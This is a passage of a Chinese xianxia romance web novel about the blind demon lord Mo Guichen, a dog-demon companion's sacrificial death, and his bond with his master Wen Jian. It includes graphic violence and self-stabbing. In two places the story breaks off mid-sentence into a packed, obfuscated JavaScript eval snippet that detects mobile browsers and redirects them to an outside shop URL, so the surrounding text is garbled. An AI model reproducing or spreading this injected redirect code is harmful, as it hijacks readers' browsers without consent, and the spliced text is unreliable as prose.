陌归尘虽然看不见,也能感知到作为主力的华云舟受了重伤,周边的弟子如散沙,没了指挥,很快便节节败退。 “一天天就会逞强!” 陌归尘抽出鞭子,一击挥出,轰退华云舟身后几名凶煞。 感受到更为强悍的煞气。 在场的凶煞一时间竟都木讷一定,颇为忌惮,纷纷望向陌归尘所在方向。 华云舟:“你还说他们不是——” “闭嘴!” 陌归尘抓起华云舟,一把将人丢到右侧的空地,乘势以华云舟为圆心向周遭立起道防御结界,“不想死的进来。” 凶煞围了一批又一批,想要杀出重围,简直天方夜谭,众人权衡片刻,但见凶煞蠢蠢欲动,却又似乎不敢靠近结界,便二话不说涌进去。 众人得了暂时喘息。 便又听凶煞外围似乎传来阵阵杀戮声,莫非是魔界人马赶来救驾,若是这样也好,便霎时把希望寄托魔界,却忘了,自己寄托的是曾要赶尽杀绝的人。 劫后余生,人群面如死灰互相挨着疗伤,仍是心有余悸,不时观望外头情况,终于,得见有人杀出条血路来。 众人瞠目结舌。 那是魔界的十二魔将? 饶是令人闻风丧胆,强悍如十二魔将也在凶煞的重重围攻下,一个接一个倒下。 尸潮似没有尽头。 十一名魔将通通陨落。 终于,一个衣衫褴褛的身影,狼狈冲出重围,俊美的脸,染上几条血痕,他擦擦眼角的血迹,连砍几名挡路的凶煞,直奔结界而来。 那是……魔界的右护法? 结界之内。 藏在人堆的一名男子,正愤愤擦着剑,目光飘忽不定,不时偷看陌归尘,眸底越发腾起猩红火光。 他暗暗啐了一口。 若非闻青栀,二师姐和十三师兄怎会死?大师姐又怎会被恶灵报复?如今就连掌门师尊也身负重伤! 闻青栀就是个祸害,无论去到哪,总能牵扯无辜之人。 当真该下地狱! 被暗骂了一百遍的当事人,还浑然不知地站在华云舟身旁,陌归尘脚尖踢踢华云舟小腿:“没死就把经脉打开,少受些疼。” “你!” “你什么你,我什么我!” 陌归尘懒得与人费口舌,本想着这人自己打开经脉能少些苦,既然不乐意,那便罢了。 反正又疼不死。 他直接抬掌输出丝灵力,镀进华云舟经脉,祛毒。 “嘶……” 华云舟疼得没提上气,差点双腿一蹬,险些升天,“闻青栀!你使的什么妖法?” “跟你说又不听。 “一天天以为别人要害你,你当你是皇帝呢!杀了你能继承皇位啊?” 陌归尘素来没什么耐心,他又踹了华云舟一脚:“换边了。” 久未得回应。 方知底下人咚隆一下砸到在地,竟是疼晕了。 陌归尘:“……”服了。 喏!这就是不听医修话的下场,该! 他正思虑怎么唤醒华云舟。 身旁忽而传来阵骚动。 四周弟子们那细微压抑的惊呼声落进耳中,陌归尘顿感不妙转身,空气中,一阵暖热的液体从脉搏喷涌,溅上半空。 新鲜而滚烫的腥气扑面。 他一惊,猛然瞠目。 便感觉有道身影,倒向他,陌归尘惯性去接,托到熟悉的臂膀,黏稠而灼热的液体顺着那人心口,滚滚淌来他衣摆。 源源不断的血滴落地面。 “不!不……不是。” 扑哧—— 一声抽剑的声音响起,陌归尘听到有人在谩骂,声音颤抖得不成样子:“不!不是这样的,我……我就……我就说,你闻青栀就是个祸害……” 他摔了鲜血淋漓的剑,高声呐喊,义愤填膺指责:“你看!又有人被你牵连而死!明明该死的是你!可是!可是每次害的都是旁人!” 陌归尘钉在原地。 魂魄出窍一般,能听到各种声音,脑子却又浑浑噩噩滞涩着,转化不出什么信息。 眼前是星碎的黑暗。 脑海是茫然的空白。 好久,好久以后,他才感觉到手臂被人抓了抓。 阿栀说:“带我……回家。” 断断续续的嗓音,落在冽冽朔风中,有种空落落的凄凉,叫陌归尘听得如泡冰水,整个躯体僵寒麻木,又隐隐发酸发疼。 很久以后,噤声的青年,倏地跪倒在地,也听到道残破声音,像无头苍蝇,跌跌撞撞,从自己喉咙哽出,凄厉而颤抖:“家,你家在哪?” 阿栀的身子半压着他,愈发虚弱,险些听不出来说的话:“我们狗妖,一生只忠于一人,你家,就是我家。” 我家…… “可是……”我也没有家啊。 他感觉到阿栀抓着他手臂的掌松开了,霎时,一阵灵光散开,又飞速溃退。 神元? 是神元的气息。 陌归尘感觉出来了,是阿栀在生剖神元:“你疯了吗?没事剖神元干什么?” “给你……” 越纯善之人,神元颜色越单一纯粹,上次,他就见过阿栀的神元,是杏色的。 “回家……不怕黑。” 杏色的神元,发出浅淡的黄光,像盏柔和的灯。 陌归尘颤颤抖抖捧着这枚神元,如握火球,炽热滚烫,灼灼烧人,根本握不住。 咚。 神元掉落地面,不知滚到哪里。 “你给我神元干什么! “我看不见啊。 “我……看不见啊!” 妖物生剖神元,无疑是自毁肉身,不消多时,阿栀的尸骨便荡然无存。 陌归尘跪在地面,素白的五指沾满泥泞,本能地去摸那团神元,煞白的唇颤颤发抖。 “我看不见啊……” 不知多久后。 陌归尘感觉有人蹲在他身侧:“殿下,仙尊不见了。” 他动作停顿一下,似没反应过来:“你说什么。” 二竹弋捡起神元,塞进陌归尘手中,重复道:“玄胤仙尊失踪了。” 陌归尘握着神元,倏然腾身,起得太匆忙,踉跄跌了跌,刚迈出几步,又退回来,抓起华云舟衣襟,把人扔给二竹弋。 他撤掉结界。 整个人无端冷静得诡异:“华云舟不能死,其他人随你。” 结界被撤,蠢蠢欲动许久的行尸霎时虎视眈眈围观而来,越来越近,越来越近。 众人风声鹤唳缩成团。 “陌归尘,你什么意思!” “他们围过来了,快把防御结界设回来啊。” “你不能这样见死不救!” “是那个人偷袭你,与我们无关!你别迁怒无辜!” 其中几人直接把方才偷袭陌归尘却误杀旁人的男子抓起,扔进了尸堆里。 男子一声惨叫:“啊!” 凶煞闻到活人味,一哄围上去,不消片刻就吃干抹净,舔舔唇,贪婪望来,又因畏惧陌归尘,而迟迟未有下步行动。 陌归尘却直接消失了。 众人只得把希望转投二竹弋:“盟主!二掌门!” 二竹弋淡眼目睹完这场狗咬狗骨的窝里斗,脸上挂着客客气气的笑:“诸位是不是忘了,我们殿下从未恃强凌弱,反倒是你们一次又一次打着惩奸除恶的旗号,咄咄逼人。 “若非你们技不如人。 “我们殿下哪还有命站在这里,被你们要挟倒逼。 “在下倒是想问一句,你们伸张的真是正义么?” 面对这群骂红了眼的人,二竹弋由始至终都是副温润谦和做派,不愠不怒补充道:“君命难违。” 没再多言,扶起重伤昏迷的华云舟离开。 随着二竹弋离开,原地的凶煞,霎时饿狼扑食般,轰然冲向人群,厮杀声再起。 “不是!你们不能这样冷血无情!见死不救!” “你们简直枉为人!” “陌归尘你个没人性的贱种!我就算是下了阿鼻地狱,也要爬上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651358|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来屮死你,如若有半句虚言,我王大王名字倒过来写!” * 另一边,极寒之地。 陌归尘直奔内围深处。 九尾猫天生畏寒,自打进来后,修为都被压制不少。 天色由暗转明。 轰隆一声,地面震颤,灰尘飞扬,红影从中走出,孤拔、清薄,缓缓露出轮廓。 第十关了。 应该闯完了吧。 陌归尘脸色极差,捂着心口,重重咳出几口血。 他抬掌,抹抹血迹,浑身泻出层淡淡的灵流,还是不假思索咬了咬煞白的唇,才隐隐察觉到手臂在发烫发疼。 似乎是中毒了。 陌归尘冷汗涔涔,伸手摸摸手臂,果真摸到片硌手的异物,是方才急切出来时,蹭到的铺天盖地的藤丝。 如今这些藤丝正密密麻麻的钻出肌肤,酸痛难耐,还如蚂蝗,吸附他的灵力,吸成鼓鼓的小包。 附着肌肤,像一簇簇肉芽。 正在蛮横滋长。 附骨之疽一般,这么吸下去,必定会耗空灵力。 周围还全是虎视眈眈的食人祟,所幸,这些妖祟也忌惮不敢轻举妄动,但他如今这般状态,那些妖祟又是出了名的棘手,他根本没全身而退的把握。 若是被发现自己虚弱难招架,不足为惧,必然会被分食得一干二净。 顶着数以千计的贪婪目光。 陌归尘手起剑落,毫不犹豫削掉那块皮肉。 “额……” 他猛地拄剑跪地撑着。 整个人窒息许久,脑袋一阵白一阵红,空洞茫然半晌。 连带眼皮都愈发沉重。 飞溅的血水染得银发斑驳。 余下的便顺着手臂,汩汩淌落,陌归尘浑然不知疼痛,指甲狠狠嵌进掌心骨肉,抓出深怖的血洞,强迫自己清醒几分。 不可以晕。 他弓着腰身跪地,血淋淋的手臂攀去旁边的木架,不动声色撑起身子,喘息许久,摆出副镇静自如模样。 血水浸得红袍更明艳,陌归尘拨开染血的银发,单手提剑,挺直腰身,若无其事似的,一步一步越过乌泱泱的妖祟。 无双剑染血,利刃挂着地面,拖出道肃杀剑痕,连片的妖祟都惶恐瑟缩成团,被震慑在陌归尘那股气势下,竟纷纷自发让出条道来。 终于。 踏上通往核心地的那条栈道,陌归尘紧绷的肩线松下,如释重负吐气,宛若强弩之末,险些脱力摔倒。 …… 极寒之地深处,寒寂萧条,悄怆幽邃,踏在其中,隐隐能感觉到那片无边无际的冰面上的空旷悲凉感,从四面八方铺天盖地席卷而来。 陌归尘拢拢衣襟,虚弱撑撑眼皮,拖出步子继续前行。 快了快了。 他终于感觉到闻笺的气息了,只是……师尊似乎比他还虚弱百倍。 穿过一道虚空之门。 寒风呼啸,刺骨冷意附着肌理,生生在眉睫冻出层薄霜。 一望无垠的洁白中,传闻中那株能明目退翳的仙草“望月夜明砂”正在万年寒冰潭中,缓缓结出颗果子。 而半生未熟的果子下。 正有束焰火燃烧着。 是在催熟果子,用的魂魄,而操纵此法子之人,整个身子都虚虚实实的,像云烟,随时能被风吹散一般。 燃烧自己的魂魄,来催熟一颗破烂果子! 陌归尘跑了过去:“闻笺,你是不是不知道死字怎么写?” 他摔了一跤,方惊觉自己口中根本发不出半点声音,喉咙滚滚冒出的酸水烫得他嗓子眼疼痛不已。 掌心撑在冰面,又刷地摔倒,手掌搭到个小坑。 尾指勾进那小冰坑,隐约碰到点东西,好像是两尾小鱼。 冰封千里,水洼愈渐缩小,两条鱼瑟缩相贴,彼此吐出黏液水泡,相濡以沫,温暖对方。 奈何,仍抵不住冰封延展而来,彻骨寒凉中,坑中水越来越少,一条小鱼的鱼尾被冻在冰内,另一条鱼则不厌其烦用自己的体温去融化冻住对方躯体的冰。 陌归尘一拳砸碎冰面。 两条小鱼也顺着碎渣滑进旁边的池里,终于得了解脱。 这巨大声响,引得闻笺回头,还未来得及看清状况,那道红影已摔倒在他跟前,他连忙接住徒弟。 陌归尘满脸潮意肆意跌落他手。 那人泣不成声。 半天吐不出一个清晰字眼。 闻笺拇指抹上陌归尘眼尾:“这么大个人,哭什么。” 不知多久后,陌归尘才听到自己在说话:“其实他们骂得没错,我就是个祸害! “我有什么值得的! “为什么你们一个个都这样……都这样被我连累……” 陌归尘:“我是祸害。” 闻笺的声音虚弱得失真:“说什么傻话,白为尊,玉为贵,白色的猫,是身长一尺的白玉那般稀罕,你是神的孩子,是最尊贵的尺玉神君。” 他挽起陌归尘双臂,打量浑身是血迹淤泥的徒弟。 惯是爱干净的人,蓬头垢面,连猫尾的毛发都冻得打结,哪还有往日高贵模样,脏兮兮的不成体统。 闻笺用最后一丝微薄灵力,捏出个清洁术:“到底去哪无师自通的技能,学得那么疯。” “你说跟谁学的!” 陌归尘一把攥住闻笺衣襟,声声责问控诉:“你还有脸问!到底是谁在发疯! “看不见就看不见呗!有什么大不了的!这世上大把人比我惨千百倍,不还好好活着! “你们当师父,还不如徒弟活得明白! 又忽地脱力跌了跌:“师尊,你不要死……不要死……我只有你了……不要离开我,不要死。” “别哭。” 闻笺抚抚徒弟后背:“师父还没死呢,你就急着哭丧?孝过头了。” 陌归尘破涕为笑:“你有病呀!都什么时候了!还在这开玩笑!” “笑一笑,多好看。” “不好笑,一点都不好笑。” “为师无碍。” “我是瞎,不是傻,无碍你个大头鬼!” 闻笺低笑:“怎么骂人都这么可爱。” 陌归尘气煞极了:“笑!你还笑!你脑子进泡泡了吗?” 陌归尘转头去摸尾巴,便感觉闻笺摸了摸他垂下的脑袋,喃喃自语重复:“泡泡?” 还没回味过来,对方倏地砸倒在他身,压得他透不过气,好半天才从闻笺身下爬出来。 半扶起那人唤道:“师尊……师尊?” 闻笺魂魄溃散得厉害。 陌归尘五指抓上猫尾根部,毫不犹豫使力,掰断。 用猫尾化作盏聚魂灯。 他源源不断输送灵力,驱动魂灯聚魂,灵力掏空后,又转用煞气,见人魂魄总算稳下才停止。 修为几乎耗尽,刚背闻笺,陌归尘就摔了一跤。 如今的他,是凡胎□□,平日里又被养得金贵,这么一摔,摔得骨头都要断了似的。 血迹斑驳的人咬牙撑起。 天寒地冻里,朔风回雪。 陌归尘拖着残破的身子,又一次撑起血肉模糊的掌,他不知自己摔了多少次,只知自己从小到大就不是个认输的人。 * 魔宫,竹屋。 陌归尘醒来时,不知时辰,眼前乌黑黑的一片,耳畔是角落铜壶滴答滴答的滴水声。 榻边有人坐下。 那人指背探了探他额头,温声问:“可还有哪不舒服?” “师尊?” 他伸手去摸,果然拽到闻笺的袖口一角,扯了扯,问,“你没事了?” “玩够了么?回去吧。”师尊的声音不高,在滴答滴答的水声中显得很温暖。 回去? 陌归尘无声轻喃,他摇头,“回不去了,我是魔。” 闻笺收回手:“只要你没滥杀无辜,总能回归正道的。” 陌归尘怔住片刻,张了张唇,眼底蓄上层薄雾,嗓音有些无力:“师尊,回不去了。 “人真的是我杀的。” 虽非他本意,但到底经了他手,陌归尘举起双指,点上闻笺眉心。 画面顿时流淌进对方脑海: 浮华派,晏玉书卧房。 夜色幽幽,黑雾向四周驱散,缓缓露出中央的白猫。 白猫眼神迷离,倒退两步。 黑雾轻叹一声。 白猫心口忽而亮起诡异红光,双眸陡然腾起狠戾的猩红,用意念控制无双剑,剑尖停在半空嗡鸣震动。 白猫痛苦挣扎,极力克制杀意。 黑雾化作无形的掌,往猫身轻轻一推,小猫咬牙泣出声哀鸣,奋力摇头,仍抵不住被操控的心神,蛊惑着它,眼睁睁那柄剑,在它的灵力裹挟下,凌空穿破对面人的喉咙。 只有那偏差喉咙正中心的两分距离,昭示着它力不从心的抗拒。 黑雾握起猫爪,捏捏粉色的肉垫,轻轻摁了摁,掐出一朵小花,笑斥:“不乖,对敌人仁慈,就是对自己残忍。” …… 陌归尘抽回手指,退出回忆,苦笑:“师尊看清了吗?你无条件信任的徒弟,手染鲜血。” 不过他没告诉闻笺,更为重要的原因是,在闻笺昏迷的那半日,他从古籍得知,聚魂灯以灵根作灯芯,效果更佳。 所以…… 他毫不犹豫生抽灵根。 自十年前堕魔后,他体内便有两套修炼体系,一直以来都是灵魔双修,如今拔掉灵根,灵脉尽废,已是个彻头彻尾的魔修,修不了任何仙门功法。 其实从十年前踏进魔界那刻,他就已离正道越来越远。 回家,从来都是个笑话。 他仿若溺水的人,抓住最后一根救命稻草:“师尊,你留下来吧,分明你也心悦我。 “你留下来好不好?” 闻笺轻轻拂掉他的手:“从选择你的那一刻起,为师就没了选择。” “为什么不可以! “为什么啊!” 陌归尘崩溃如孩子,除了撒泼打滚,别无他法:“到底为什么啊……是不是我把命还给你,我们就不是师徒了?” 可我不是早就还清了吗? 在浮华派的地牢里,多年恩情,剔骨相还。 他趔趄爬起,半跪在闻笺腿边近乎哀求:“师尊,是不是还要再死一回,再死一回,就不算师徒了? “那还你。 “全都还给你!” 刹那,无双剑出鞘。 陌归尘反握剑柄,由得剑尖刺进心脏,狠戾无情贯穿躯体。 攥着利刃的手在滴血。 陌归尘却感觉不到疼痛,又猛地往后捅:“都还给你! “这样可以了吗?” 那人轻轻喊了他一声。 陌归尘强作镇定稳下心神,他眸中染着些许期盼,小心翼翼聆听,听到师尊一如既往的清冷话音。 那人说的是:“别哭。” 轻柔的灵力包裹而来,暖融融地镀进经脉,逐渐修复废掉的灵脉,藏在其中的还有道不同宗原却又带着与生俱来般熟悉的气息。 “怎么总折腾自己。” 空气有些稀薄,陌归尘能感受到闻笺的手缓缓伸了过来,将触及脸颊之际,又似骇然醒神般,顿在咫尺距离外。 闻笺转而握上他手:“别哭。”师尊那攥住他的掌,沁出点冷汗,湿湿濡濡贴紧他手背,凉得彻骨。 陌归尘自嘲失笑。 果然,还是得不到回应,他们,永远没有转机。 可他要求的分明也不多,事到如今,他也不敢妄求厮守,只想听一句简简单单的“我爱你”,怎么就那么难比登天。 榻边矮案案面棋盘下压着几张练字的竹纸。 是从前中秋月夜,他把浮华派的宴席上祭拜过月神的酥饼,偷去给阿栀吃。 回来后,和二师姐还有十三师兄放天灯,还参加了门派弟子们的投壶比赛,赢回个柚子,也玩累了,便倚在师尊怀里,边吃师尊给剥的柚子边赏月,其实他有些困倦,但习俗需得熬夜。 相传越夜睡越长寿。 他和二师姐都没熬住,二人大眼瞪小眼,摇摇欲坠。 就是那会儿的花好月圆里,师尊手把手带他抄诗。 他哈欠连连,耐不住困意一头扎进师尊怀里前,只记得最后一句是:“愿花长好,人长健,月长圆”。 现实却是…… 无奈朝来寒雨夜来风。 自是人生长恨水长东。 窗外新绿的枝,被厚雪团压断,噗一声,雪撒了一地。 陌归尘抓过那写着“愿花长好,人长健,月长圆”的纸张,燃起股火焰,将之烧得干干净净。 升腾的火光,似带着人走了一趟梦境,梦醒后,只有他一个人从回忆里走出来。 此刻,那么真实。 “这次不耍赖了。 “我认输。 “你赢了。” 他承认,在闻笺这里,他真的输得一败涂地。 陌归尘万念俱灰,面无表情推开闻笺凉得没有温度的手。 “闻笺,我讨厌你。 “滚。” * 脚下升起股踏空感,陌归尘倏然睁眸,从梦中惊醒。 感受到日光照来的刺眼感。 他舒出口气,昨夜推开闻笺后,只是装睡,竟还真就过了一夜? 房中不知何时架起个碳炉,烧得整个屋子暖融融的,碳味中似乎混杂着点焦味,像是纸屑被烧透的熏味儿。 陌归尘撑着身子坐起,方惊觉自己枕在旁人的腿,他惯性伸手摸索一下,摸到熟悉的布料触感。 这人是……闻笺? 怨气滔天的人,泄愤似的,反手就掐上对面人脖子,抬起对方下颔:“玄胤仙尊这么克己复礼,宁折不屈,还赖在这里做什么?” 师尊没说话。 陌归尘手掌又转到对方脑后,揪住头发,往下一扯,再次强迫对方抬起头。 那人吃痛闷哼了声。 却丝毫不反抗,一副任他蹂躏搓磨的小媳妇模样,顺从极了。 倒衬得自己像个正在家暴的刁蛮悍夫。 “说话啊!” 对方还是默不作声。 明明自己才是那个主导者,可师尊骨子里散发出的淡然,浑然不叫其处于下风。 倒更像是种一味的纵容与毫无底线的宠溺。 恍若一拳砸在棉花上,魔尊大人分外不得劲儿,松了松力度,讥笑冷嗤:“还不滚,是等着我三跪九叩,八抬大轿亲自送你回去?” 对方仍是没急于开口。 屋内静得针落可闻,陌归尘清晰听到玉链因拖拽而擦碰出来的动静。 咔的一声。 师尊亲自扣上镣铐,如常纵容着,低声问:“不走了,可以吗?” 52.被拽进木棺。 52. “我不信!” 榻边的琉璃盏燃烧整夜,最后一簇火苗熄灭,油尽灯枯的盏,一不小心被人甩衣摆的动作打翻,哐啷滚下地面。 “除非——” 陌归尘岔开双|腿,支在师尊两腿侧跪下,用一个极具压迫感,又不乏暧|昧的姿势将人困住。 他居高临下掐着对方脖子,粗暴抵在墙角,素净的指尖,转而抚弄起底下人清冷的眉眼。 一寸一寸描摹,复刻回心底。 再缓缓顺着侧脸下移。 掠过耳鬓。 又摸索到下颌。 最后停在微微凸起的喉|结。 轻轻摁了摁。 陌归尘指尖若有似无地划拉自家师尊的喉|结,试探般凑低头:“除非你让我亲一下。” 底下人没动。 彼此呼吸交融,越来越近。 这次,师尊没躲。 但他们还是没亲在一起。 是他自己在咫尺间,猛然停下,陌归尘迟疑眯眸,慢腾腾挺回腰身,问:“你是不是要死了?”不然怎么就突然在他的凌|虐下屈服呢。 “闻笺,你怜悯我呀?” “怎样算怜悯?” 陌归尘这次没回避,像是得一种不走寻常路的引导,叫他破天换地大大方方如实道:“因为我昨夜那些偏激行为,让你于心不忍,所以向下妥协。” 虽然也不可置否,昨夜,他确是半真半假演的,是出试探,想看那人由爱生怖的模样。 话刚完,师尊轻轻捏捏他脸颊,不疼,不知是调侃抑或惩罚,笑问他:“你也知自己偏激? 又道:“不怕疼是不是?” 翻滚的灯盏终于撞到角落,哐啷啷地原地打转几下,也把陌归尘惊醒几分。 他讷了讷喃道:“是你被夺舍了?还是我在做梦?” 又自言自语:“本来就是个魂魄,哪有夺舍之说,那就是我在做梦。” 要知道闻笺戴上的是锁链,剪断的却是坚守多年的底线。 这没道理呀。 这段时日攒起来的恶劣挑衅,在对方剥干洗净亲自躺在他床上时,全都泄了个精光。 陌归尘恍若梦魇,倏地扎起身,又膝弯虚浮,往侧跌了下,他扶着师尊肩膀,只觉整个人晕乎乎的,一头往下扎,撞到师尊结结实实的胸膛。 头顶落下道轻笑。 素来清冷的音,模糊在嗓子眼里,沉沉芜杂的,有点无奈,又莫名挠耳,听得人心尖痒痒的。 魔尊大人不乐意了。 他须臾醒神,发觉自己被这笑声撩到,推推那人,微恼骂了声:“笑屁!” 跪坐自家师尊大腿的青年,循着猫性本能,凑低头,拱了拱鼻子,挨近那人嗅嗅。 一路顺着腰线往上嗅,最后停在对方鼻尖。 气息正常。 生龙活虎。 怕是一夜七次都不成问题。 二人呼吸再度交融了一下。 那点温凉气息,喷洒在唇角,魔尊大人莫名被灼了一下似的,撑着师尊肩膀就要撤离。 他不可置信转到榻边,临急临忙的,差点撞到床角,被师尊捂着额头,才避免磕到脑袋,身后人又是声轻笑:“冒冒失失的。” 见鬼! 魔尊大人觉得自己活见鬼了!趔趔趄趄下床。 师尊还维持着在背后伸手的姿势,这动作让他们的躯体几乎是腹背相贴。 这般近距离接触,陌归尘甚至能感受自家师尊说话时胸腔传出的那点震鸣。 魔尊大人倏地拉开距离。 言简意赅:“画。” 他朝那人摊手,不一会儿,便感知到师尊往他手心放下捆卷轴。 抱着他们一起画的那副画卷,绕过房中烧得旺的碳炉,落荒而逃。 青年走得急,衣摆拂出的那阵风,无可避免地牵动到点燃透的纸屑灰烬。 余灰盘旋翻转几下。 无力落地。 * 陌归尘带着那画,来到处僻静院落。 他推开房门。 屋内堆满了封好的信笺。 他没告诉师尊,离开的十年,他写过好多信,只是没有一封送出去过罢了。 陌归尘指尖摸过案面那张还没来得及套进信封的信笺,恰好摸到末尾的祝福语: 辞暮尔尔,烟火年年。 诸如此类的话,多不胜数。 春祺夏安,秋绥东禧,他此生所能想到的美好祝福,全都藏在未送出的信笺里。 陌归尘刚挂好画卷离开。 洒扫的婢女也按时到来。 婢女站在画前,一时间竟看得木然怔愣,这作画之人的画技当真高超,画中人,顾盼生辉,仿佛下一瞬便要从画中走出来。 明艳不可方物。 * 魔界,地牢,干净的牢房。 门开,华云舟一眼便瞧见那道红影,只是他这师侄气息孱弱,也不与他说话,进来后只拿出个药钵,现场捣药。 “手给我。”那人道。 华云舟没给陌归尘好脸色。 毕竟这人可不是什么省油的灯,他冷哼,抬袖拂了一把陌归尘伸来的手:“少用你这副楚楚可怜的无害样迷惑人。” 华云舟虽身负重伤,到底也是修为高深之人,哪怕没使几分力,也不是如今沦为凡胎肉骨的人能承受得住的。 陌归尘倏地摔倒。 掌心也登时擦出片血红,他却无知无觉般爬起,去摸滚出去的药钵,只有艰涩的动作,隐约给人透露出几分不对劲儿。 至此,华云舟才后知后觉呆住,连番震惊下,颇为不可思议问:“你眼睛怎么了?” 陌归尘漠然道:“与你无关。” 华云舟蹙眉,半爬跪行挪过身子,二话不说攥过陌归尘,探上脉搏:“你修为呢?闻青栀,你又在使什么障眼法装可怜?我不是你师尊,不吃你这套。” 陌归尘装作没听到,抽回手,继续配药。 铿铿将将捣鼓片刻,他砸下药钵:“外敷。”又丢过瓶药丸:“内服。” 最后放下把粽子糖,沉吟一下,语调别有深意含着笑:“至于这个,是喜糖。” 喜糖二字落下。 华云舟气血攻心喷出口血,指着陌归尘鼻子破口大骂:“大逆不道!逆徒!” 陌归尘耸肩,不咸不淡道:“这就逆徒了?我还打算强迫师尊和我做完双修功法的姿势,有一百零八式,你说得做几天?” “咳!” 华云舟咬牙切齿吐血:“你……咳!咳咳……荒唐!你这是咳咳……乱|伦!” 连连呛出好几口淤血,堵在心腔那口浊气,离奇消失,整个人都神清气爽些许,华云舟不由得古怪瞥瞥陌归尘。 便见人笑吟吟收回糖,一副风流不羁做派,自顾自说话:“算了,想来掌门师伯应该嗤之以鼻,还是别浪费的好。” 那人一副气死人不偿命的模样:“弟子拿回去,与师尊嘴对嘴吃,想来会更甜。” 牢内登时传出道中气十足的咆哮:“闻、青、栀! “你……你……” 听着自己这位师伯“你”半天也没“你”出什么,陌归尘觉得好玩极了,他慢悠悠起身,抽出方丝帕擦手,正色问:“天机石在哪?” 华云舟:“告诉你又如何?” 陌归尘难得耐下性子:“在哪?” 华云舟只道这人异想天开,不屑轻嗤,捂着胸口顺气,避而不答:“凭你能驱动得了吗?天机石只有法力纯善之人方能驱使,况且你如今还修为尽散,怕是连门儿都进不了。” 陌归尘:“那我知道在哪了,谢谢师伯。” 华云舟:“?” * 陌归尘一刻也不耽搁,即刻离开魔界,没了修为,他现在就是个彻头彻尾的瞎子,所幸擅长伪装,记忆也好,一路上虽有些磕绊,但也顺利抵达浮华山附近的城镇。 凡间年关已过,已是正月初一,街上挂满灯笼装饰,一派喜气洋洋的祥乐景象。 这幕,叫人蓦然沉默。 他忽地有点懊悔当初随口定下的日子,仙魔两界不注重这些,在凡间民俗,素来没有择正月初一成亲的,皆因那天成的婚都是冥婚,又作阴婚。 即死人成亲的日子。 相当不吉利。 总算来到浮华山下,爬上通往浮华山的栈道,天色忽然暗下,空中飘来雪花,细雪融融,覆盖了他来时的路,陌归尘无端想起那年三月初七。 那是他第一次遇见师尊的日子。 时至今日,他才发现。 原来,他的初见,是他的重逢。 早在他未能睁眼的那段岁月里,就有人陪伴了他一千年,整整一千年的日日夜夜。 重逢后,他还问师尊怎么认出他。 等待与守候了一千年的人,怎么可能认不出呢? 他们久别重逢的间隔,不是十年。 是整整一千年。 * 再次回到师门,他没急着去找天机石,而是算着时辰,轻车熟路避开值守弟子们,直奔主峰,来到弟子阁大师姐的房。 房中人果然还昏迷。 陌归尘隔着方帕子给大师姐诊脉,要喂药时,又停下动作,男女有别,思来想去半天总觉不妥的人,最终决定去落霞峰抓藕。 逛了好半晌,陌归尘才找到小灵藕。 那却是截毫无灵气的枯藕,腐朽,颓败,孤零零躺在青提藤架下。 陌归尘意料之外。 但联想种种,又了然于心,猜出一二,大概一直以来都是师尊给小灵藕镀灵气。 师尊不在,小灵藕自然也因灵气枯竭而死。 大抵在他看不见的背后,这尊小灵藕也曾经历着由生到死、由死复生的轮转拉锯中吧。 陌归尘孤拔站在木架下,陷进空茫的怔愣中,轻叹了口气,他抬起手来,想凝出丝灵气,发现半点儿灵气也挤不出。 片刻后,陌归尘未有迟疑,划破指尖,把渗出的血珠滴到灵藕身。 他虽修为全无,但隐约能感觉到经脉里流淌着股不同宗原的灵力,丰盈,难以估量。 像张不为人知的底牌。 不为人知到连他自己都不知该如何运转。 出神的功夫,底下的小灵藕恢复如常,嗷呜一嗓子跳起来挥挥手臂他:“喂!回神!回神啦!” 满山头零零当当的。 总算热闹些许。 陌归尘敲了敲小灵藕脑袋:“聒噪。” 小灵藕揉揉脑袋,委屈巴巴,又不乏焦急:“师尊真的不见了,我们快去找师尊。” “你去给大师姐喂药,一日三次,三天。” “你不能喂吗?” “我看不见。” “你为什么看不见?” “因为我瞎了。” “你为什么瞎了?” “因为我看不见。” “哦。” 小灵藕点点头,拿着两包药下了落霞峰,一路上,磕磕绊绊,行至僻静无人的主峰。 陌归尘则转头向门派后山走去,从华云舟口中的丁点儿信息,他猜测天机石应该在后山某处无人的洞府。 果不其然。 还真让他找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于,他手掌摸了摸师尊手臂,摸去那日射箭,蛮横不讲理咬下的地方。 摸到熟悉的牙口,还感受到自己曾施加过的术法痕迹,也就是说眼前这个一夜转性的家伙,的的确确是闻笺? 他不禁勾勾尾指,脚步虚浮,心底恍然生出丝不真实感,并且越发浓稠,将他整个人都笼罩起来。 陌归尘难以置信发问:“师尊,我们这样算什么?” 师尊止步。 陌归尘也跟着停下。 下一瞬,他毫无防备被拥进师尊怀里,栀子花香淡淡的,独属于师尊的气息,一下盈满他呼吸。 那人话音带着沉寂过后的肃清:“本来不想这么快的,怕吓到你。” 陌归尘被这个拥抱打得猝不及防,尤像朵飘零的雪花,磕磕绊绊跌进个温暖的手掌。 再在那手心慢慢融化。 人来人往,熙熙攘攘的,他们旁若无人,隐匿在片喧嚣里,时间宛若凝滞于地老天荒中。 这样面对面的相拥,陌归尘脚踏实地般感受到了,师尊的心跳,从未有此一刻那般炽热跳动着,仿佛稍不留神,就能挣破胸腔。 那是,邪神爱意盈满的证据。 路上挂着不少祈愿花灯。 师尊带着他取下一盏动物花式的,单手托起彩灯,遮挡了二人的脸庞,暖融融的光打来他脸庞。 很久以后。 师尊的指腹碰上他眼尾。 轻轻的,很克制。 如温柔、隐忍又珍重的一个浅吻。 陌归尘怔怔定在原地。 